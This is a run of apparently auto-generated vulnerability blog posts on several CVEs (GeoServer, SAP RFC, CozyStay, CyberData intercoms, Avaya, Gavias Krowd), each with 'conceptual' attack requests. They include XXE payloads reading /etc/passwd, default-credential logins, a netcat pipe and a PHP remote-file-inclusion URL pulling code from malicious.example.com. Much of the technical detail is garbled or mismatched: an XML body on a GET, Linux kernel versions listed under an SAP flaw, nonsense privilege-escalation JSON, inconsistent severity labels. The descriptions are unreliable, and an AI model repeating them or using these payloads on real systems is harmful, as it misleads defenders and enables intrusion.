Author: Ameeba

Overview

GeoServer, a highly popular open-source server that facilitates the sharing and editing of geospatial data, has been identified as containing a significant vulnerability, dubbed CVE-2024-34711. This vulnerability has been found to allow unauthorized attackers to execute an XML External Entities (XEE) attack, potentially leading to system compromise or data leakage.
The impact of this vulnerability is severe, affecting a wide range of systems across different sectors due to the ubiquitous use of GeoServer in managing and manipulating geospatial data. It underscores the pressing need for robust security measures in managing and sharing geospatial data.

Vulnerability Summary

CVE ID: CVE-2024-34711
Severity: Critical (CVSS: 9.3)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

GeoServer | 2.25.0 and greater

How the Exploit Works

The vulnerability lies in GeoServer’s URI validation process. GeoServer uses the PreventLocalEntityResolver class from GeoTools to filter out malicious URIs in XML entities before resolving them. However, the regex used for this validation, (?i)(jar:file|http|vfs)[^?#;]*\.xsd, is flawed, allowing attackers to send GET requests to any HTTP server or limited file.
An attacker can exploit this vulnerability to perform an XML External Entities (XEE) attack. This could potentially allow them to scan internal networks, gain information about them, and exploit any weaknesses they find.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using an HTTP GET request:

GET http://internal.network/vulnerable_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/xml
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

In this example, the attacker is attempting to read a sensitive file from the server. The payload is sent as an XML entity, which if processed by an affected GeoServer instance, could lead to data leakage.

Mitigation

While there is no immediate remedy for this vulnerability, GeoServer users are advised to apply any available vendor patches as soon as they are released. As a temporary mitigation measure, users can also employ Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) to detect and prevent potential XEE attacks. Further, it is encouraged to review and strengthen network security policies and practices regularly.

Overview

The cybersecurity world has witnessed yet another significant vulnerability, this time in Energy Services’ G5DFR component. Identified as CVE-2025-40585, this vulnerability stems from the use of default credentials in all versions of Energy Services employing the G5DFR component. Given the widespread usage of Energy Services, this vulnerability poses a substantial risk, potentially leading to unauthorized system control and data leakage.
The severity of this security loophole cannot be overstated. It warrants immediate attention and action from all organizations utilizing Energy Services to prevent potential system compromise, safeguarding their critical infrastructure and sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-40585
Severity: Critical (9.9 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Energy Services | All versions using G5DFR

How the Exploit Works

The exploit takes advantage of the default credentials used in the G5DFR component of Energy Services. An attacker, armed with knowledge of these default credentials, can gain unauthorized access to the G5DFR component and subsequently the systems it controls. This access allows the attacker to manipulate outputs from the device, potentially leading to system compromise and data leakage.

Conceptual Example Code

The following is a conceptual example of how this vulnerability might be exploited. This is not a specific exploit code, but a representation of the kind of HTTP request an attacker might use:

POST /G5DFR/login HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
username=default&password=default

In this example, the attacker accesses the login endpoint for the G5DFR component, using the default credentials (“default” for both username and password in this case). Successful authentication gives the attacker control over the G5DFR component and its outputs.

Mitigation

To mitigate this vulnerability, the primary recommendation is to apply the vendor-provided patch as soon as it becomes available. This patch will likely address the issue of default credentials, making unauthorized access more difficult.
In cases where immediate patching is not feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can monitor for and block suspicious activities, such as multiple login attempts using default credentials. However, this is a temporary solution, and applying the vendor patch should be a priority.

Overview

In the ever-evolving landscape of cybersecurity threats, a significant vulnerability, CVE-2025-30220, has surfaced, affecting users of the open-source GeoServer, GeoTools, and GeoNetwork platforms. As these platforms allow users to share, edit, and manage geospatial data, this vulnerability poses a significant risk to a multitude of organizations that rely on these systems to maintain their critical geospatial data.
This vulnerability is particularly concerning due to its high severity, as indicated by the CVSS score of 9.9, and the potential for system compromise and data leakage. It underscores the need for ongoing vigilance and regular patch updates to ensure the integrity and security of systems and data.

Vulnerability Summary

CVE ID: CVE-2025-30220
Severity: High (9.9)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

GeoServer | 2.27.0, 2.26.2, 2.25.6 and prior versions
GeoTools | 33.0, 32.2, 31.6, 28.6.0 and prior versions
GeoNetwork | 4.4.7, 4.2.12 and prior versions

How the Exploit Works

The vulnerability arises from the GeoTools Schema class’s use of the Eclipse XSD library to represent schema data structure, which is susceptible to an XML External Entity (XXE) exploit. An XXE exploit allows an attacker to inject malicious XML code, leading to the disclosure of internal files, denial of service, and potential remote code execution.
Specifically, the gt-xsd-core Schemas class does not use the EntityResolver provided by the ParserHandler, and gt-wfs-ng DataStore does not utilize the ENTITY_RESOLVER connection parameter as intended. This lack of proper entity resolution can lead to the processing of external XML entities, exposing the system to potential XXE attacks.

Conceptual Example Code

The following conceptual example demonstrates how an attacker might exploit this vulnerability:

<!DOCTYPE exploit [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<request>
<element>&xxe;</element>
</request>

In this example, the attacker sends a request containing a malicious XML document. The document defines an external entity `xxe` that references a sensitive file on the server. When the server processes this XML, it inadvertently includes the contents of the referenced file in its response, revealing potentially sensitive information to the attacker.

Overview

The Common Vulnerabilities and Exposures (CVE) system has recently disclosed a critical vulnerability, identified as CVE-2025-42989. This high-risk security flaw affects systems that utilize RFC inbound processing, potentially exposing them to unauthorized access and privilege escalation by malicious actors. Given the severe potential impact, including compromise of system integrity and potential data leakage, it is crucial for system administrators and cybersecurity professionals to understand this vulnerability and implement appropriate mitigation measures.

Vulnerability Summary

CVE ID: CVE-2025-42989
Severity: Critical (CVSS 9.6)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Unauthorized escalation of privileges leading to potential system compromise and data leakage

Affected Products

Product | Affected Versions

RFC-enabled SAP Systems | All versions
Linux Kernel | Versions prior to 5.10.30

How the Exploit Works

The vulnerability resides in the inbound processing of RFC. The system fails to conduct the necessary authorization checks for an authenticated user. An attacker, with low-level access, could exploit this flaw by sending a specially crafted request to the system. On successful exploitation, the user could escalate their privileges, gaining unauthorized access to system resources and potentially compromising both the integrity and availability of the application.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability. This is a hypothetical shell command that sends a malicious payload to the target system:

$ echo '{
"user": "authenticated_user",
"command": "escalate_privilege"
}' | nc target.example.com 443

In this case, the `authenticated_user` represents an attacker who has already gained low-level access to the system. The `escalate_privilege` command represents the attacker’s attempt to elevate their access rights.

Impact and Mitigation

Exploiting this vulnerability could allow an attacker to critically impact the integrity and availability of the application, potentially leading to system compromise or data leakage. Given its CVSS score of 9.6, this issue is considered a high-risk vulnerability.
To mitigate this vulnerability, it is recommended to apply vendor patches as soon as they become available. In the absence of a vendor patch, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as temporary mitigation measures. These systems can help detect and block malicious attempts to exploit this vulnerability.

Conclusion

The CVE-2025-42989 is a critical vulnerability that poses a substantial threat to systems employing RFC inbound processing. Timely application of vendor patches and implementation of robust detection systems are vital to preventing potential system compromise and data leakage. As cybersecurity professionals, staying vigilant and proactive in the face of such vulnerabilities is our best line of defense.

Overview

The primary focus of this article is the critical vulnerability identified as CVE-2025-49507, which affects LoftOcean’s CozyStay. This vulnerability is caused by the deserialization of untrusted data which allows for an object injection. It’s a severe issue because it opens the door for potential system compromise and data leakage. Any organisation that uses CozyStay versions before 1.7.1 are vulnerable to this exploit and should take immediate action to prevent possible breaches.

Vulnerability Summary

CVE ID: CVE-2025-49507
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

LoftOcean CozyStay | Before 1.7.1

How the Exploit Works

The vulnerability is due to insufficient sanitization of user-supplied data before deserialization. An attacker can exploit this by sending a specially crafted object which, when deserialized, can execute arbitrary code or modify the application’s behavior. This can lead to a complete compromise of the system.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. An attacker could send a malicious payload via a POST request to a vulnerable endpoint:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_object": "{serialized_object}" }

This `serialized_object` would be carefully crafted to cause the application to behave in a way beneficial to the attacker when it is deserialized – for example, by executing arbitrary code, bypassing authentication checks, or leaking sensitive data.

Mitigation and Prevention

The immediate mitigation for this vulnerability is to apply the vendor patch. LoftOcean has already released version 1.7.1 of CozyStay that addresses this vulnerability. If unable to apply the patch immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. However, these are not long-term solutions and can only reduce the risk of exploitation. It is strongly recommended to apply the vendor patch as soon as possible to effectively eliminate the vulnerability.

Overview

The cybersecurity world has been alerted to a critical vulnerability labeled as CVE-2025-49455. This exploit is found within LoftOcean’s TinySalt software and involves a Deserialization of Untrusted Data issue. All versions of TinySalt up until 3.10.0 are affected, highlighting the severity and the widespread potential of this vulnerability.
Deserialization of Untrusted Data vulnerabilities are of significant concern because they can lead to severe consequences when successfully exploited, including system compromise and data leakage. As such, it’s crucial for businesses and individuals using the affected versions of TinySalt to understand the risks involved and take immediate steps to mitigate them.

Vulnerability Summary

CVE ID: CVE-2025-49455
Severity: Critical – CVSS 9.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

LoftOcean TinySalt | All versions before 3.10.0

How the Exploit Works

The vulnerability works by exploiting the process of deserialization within the LoftOcean TinySalt software. Deserialization is the reverse process of turning data from a byte stream back into its original data format. If an attacker can manipulate the data that is being deserialized, they can inject malicious code that the application will then execute.
In the case of CVE-2025-49455, the software does not adequately validate or sanitize the data before deserializing it. This allows an attacker to send specially crafted data to the application, leading to Object Injection.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability. It involves sending a malicious JSON payload to a vulnerable endpoint within the application.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"serialized_object": "rO0ABXNyABdqYXZhLnV0aWwucHJlZnMuUHJlZmVyZW5jZXMAAAAAAAAAAAECAAJJAAVpAAV0AAhzdHJpbmd4cAAAAAD/////",
"signature": "..."
}

In this example, `serialized_object` is a malicious serialized object that, when deserialized by the application, leads to the execution of unintended code.
To protect against this vulnerability, users are strongly advised to apply the latest vendor patches that fix this issue. If this is not immediately possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation.

Overview

In this blog post, we will dive deep into a recently uncovered vulnerability in CyberData’s 011209 Intercom systems. This vulnerability, tracked as CVE-2025-30515, poses a severe risk to users due to its high CVSS severity score of 9.8. The flaw could allow an authenticated attacker to upload arbitrary files, potentially compromising the entire system or leading to data leaks. Given the widespread use of these intercom systems in businesses and residences alike, understanding and mitigating this vulnerability should be a top priority for network administrators, IT professionals, and all users of the affected products.

Vulnerability Summary

CVE ID: CVE-2025-30515
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

CyberData 011209 Intercom | All versions

How the Exploit Works

The vulnerability in the CyberData 011209 Intercom system arises from its insecure file upload functionality. An authenticated attacker could exploit this vulnerability by uploading arbitrary files to multiple locations within the system. This could allow the attacker to execute unauthorized code or commands, leading to system compromise or data leakage. This vulnerability is particularly concerning as it only requires low privileges and user interaction, making it easier to exploit compared to others requiring higher privileges.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This pseudocode represents a malicious HTTP request:

POST /upload_file HTTP/1.1
Host: target.intercom.com
Content-Type: multipart/form-data
{
"file": {
"name": "malicious_script.sh",
"content": "echo 'You are hacked!'"
}
}

In this example, the attacker is attempting to upload a malicious shell script named “malicious_script.sh” which, when executed, can compromise the system.

Mitigation Guidance

Users of the affected CyberData 011209 Intercom systems are advised to apply the latest vendor patch as soon as possible to mitigate this vulnerability. If a patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These systems can help detect and block unauthorized file uploads, potentially preventing exploitation of this vulnerability.

Overview

In the realm of cybersecurity, constant vigilance is the key to maintaining secure systems. A recently discovered vulnerability, CVE-2025-30184, poses a significant threat to the users of CyberData 011209 Intercom. This vulnerability could potentially allow an unauthenticated user to gain access to the Web Interface through an alternate path. Given the severity of the vulnerability, it is crucial to understand its implications, how it works, and the steps required to mitigate its impact.
The vulnerability’s significance lies in its potential to compromise systems or lead to data leakage. It affects all users of CyberData 011209 Intercom and, if left unaddressed, could lead to unauthorized access, alteration, or theft of sensitive data. The threat it poses to data privacy and system integrity underscores the importance of immediate action to mitigate its impact.

Vulnerability Summary

CVE ID: CVE-2025-30184
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise and Data Leakage

Affected Products

Product | Affected Versions

CyberData 011209 Intercom | All versions

How the Exploit Works

The vulnerability stems from an insecure configuration within the CyberData 011209 Intercom that exposes an alternate path to the Web Interface. This faulty configuration allows an unauthenticated user to bypass standard access controls and gain unauthorized access to the system. As a result, a cyber attacker can potentially exploit this vulnerability to compromise the system or leak sensitive data.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using a simple HTTP request:

GET /alternate/path/to/web/interface HTTP/1.1
Host: target.example.com

In this example, the attacker sends a GET request to the alternate path. If the system is vulnerable, it will grant access to the web interface without requiring any form of authentication.

Mitigation Measures

To mitigate the potential impact of this vulnerability, it is crucial to apply the patch provided by the vendor. If the patch is not immediately available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could serve as temporary mitigation. These systems can monitor the network for any suspicious activity and block unauthorized access attempts to the web interface. However, these are temporary measures, and applying the vendor patch is highly recommended for long-term security. Regularly updating your systems and conducting cybersecurity audits can also help identify and rectify such vulnerabilities promptly.

Overview

This article details the CVE-2025-1041 vulnerability discovered in Avaya Call Management System. This critical flaw allows unauthorized remote commands via a specially crafted web request, potentially leading to system compromise or data leakage. With a CVSS Severity Score of 9.9, this vulnerability is of serious concern to anyone running the affected versions of the Avaya Call Management System. It is critical for system administrators to understand the details of this vulnerability, apply the necessary patches, or implement the recommended temporary mitigations to secure their systems.

Vulnerability Summary

CVE ID: CVE-2025-1041
Severity: Critical (CVSS: 9.9)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Avaya Call Management System | 18.x
Avaya Call Management System | 19.x up to 19.2.0.6
Avaya Call Management System | 20.x up to 20.0.0.9

How the Exploit Works

The exploit takes advantage of an improper input validation in the Avaya Call Management System. An attacker crafts a malicious web request, which can bypass the input validation mechanisms of the system. This allows the attacker to inject unauthorized remote commands, leading to potential system compromise and data leakage. This attack can be performed over the network, and doesn’t require any user interaction or special privileges.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request that an attacker could use to deliver a malicious payload:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "<command>" }

In this example, `` would be replaced with the attacker’s unauthorized command. Please note, this is a theoretical example and not an actual exploit code.

Mitigation Guidance

Avaya has released patches to address this vulnerability. Users of affected versions are strongly urged to apply the patches immediately. If patching is currently not possible, users can employ a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. However, these measures are not foolproof and only serve as a stopgap until patches can be applied. Always prioritize patching and regularly update your systems to prevent potential exploits.

Overview

Software vulnerabilities are a grave concern for cybersecurity experts, developers, and users alike. They create security loopholes that nefarious actors can exploit, potentially leading to system compromise or data leakage. One such vulnerability is CVE-2025-32595, which targets the Gavias Krowd platform. The platform, which is widely used for creating Drupal themes, has been found to contain a ‘PHP Remote File Inclusion’ vulnerability, making it susceptible to PHP Local File Inclusion attacks. This issue is significant due to the popularity of the platform and the severity of the potential impact.

Vulnerability Summary

CVE ID: CVE-2025-32595
Severity: High (8.1 CVSS Severity Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Gavias Krowd | Until 1.4.1

How the Exploit Works

The vulnerability resides in the improper control of the filename for the include/require statement in a PHP program, making it possible for an attacker to include a file from a remote server. When the affected script is called, it includes the remote file, effectively allowing the attacker to execute arbitrary PHP code on the server running the affected application. This can lead to an attacker gaining unauthorized access, altering data, or even taking control of the system.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability:

GET /index.php?page=http://malicious.example.com/malicious_script.txt HTTP/1.1
Host: target.example.com

In this example, `http://malicious.example.com/malicious_script.txt` is a PHP script controlled by the attacker. When the `index.php` page is loaded, it includes the malicious script, allowing for arbitrary PHP code execution.

Mitigation

Users are urged to apply the vendor-supplied patch immediately to rectify this issue. In the absence of this, employing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure. However, these are not long-term solutions and can only limit the potential for exploitation. The definitive solution is to update to a patched version of the software as soon as it is available.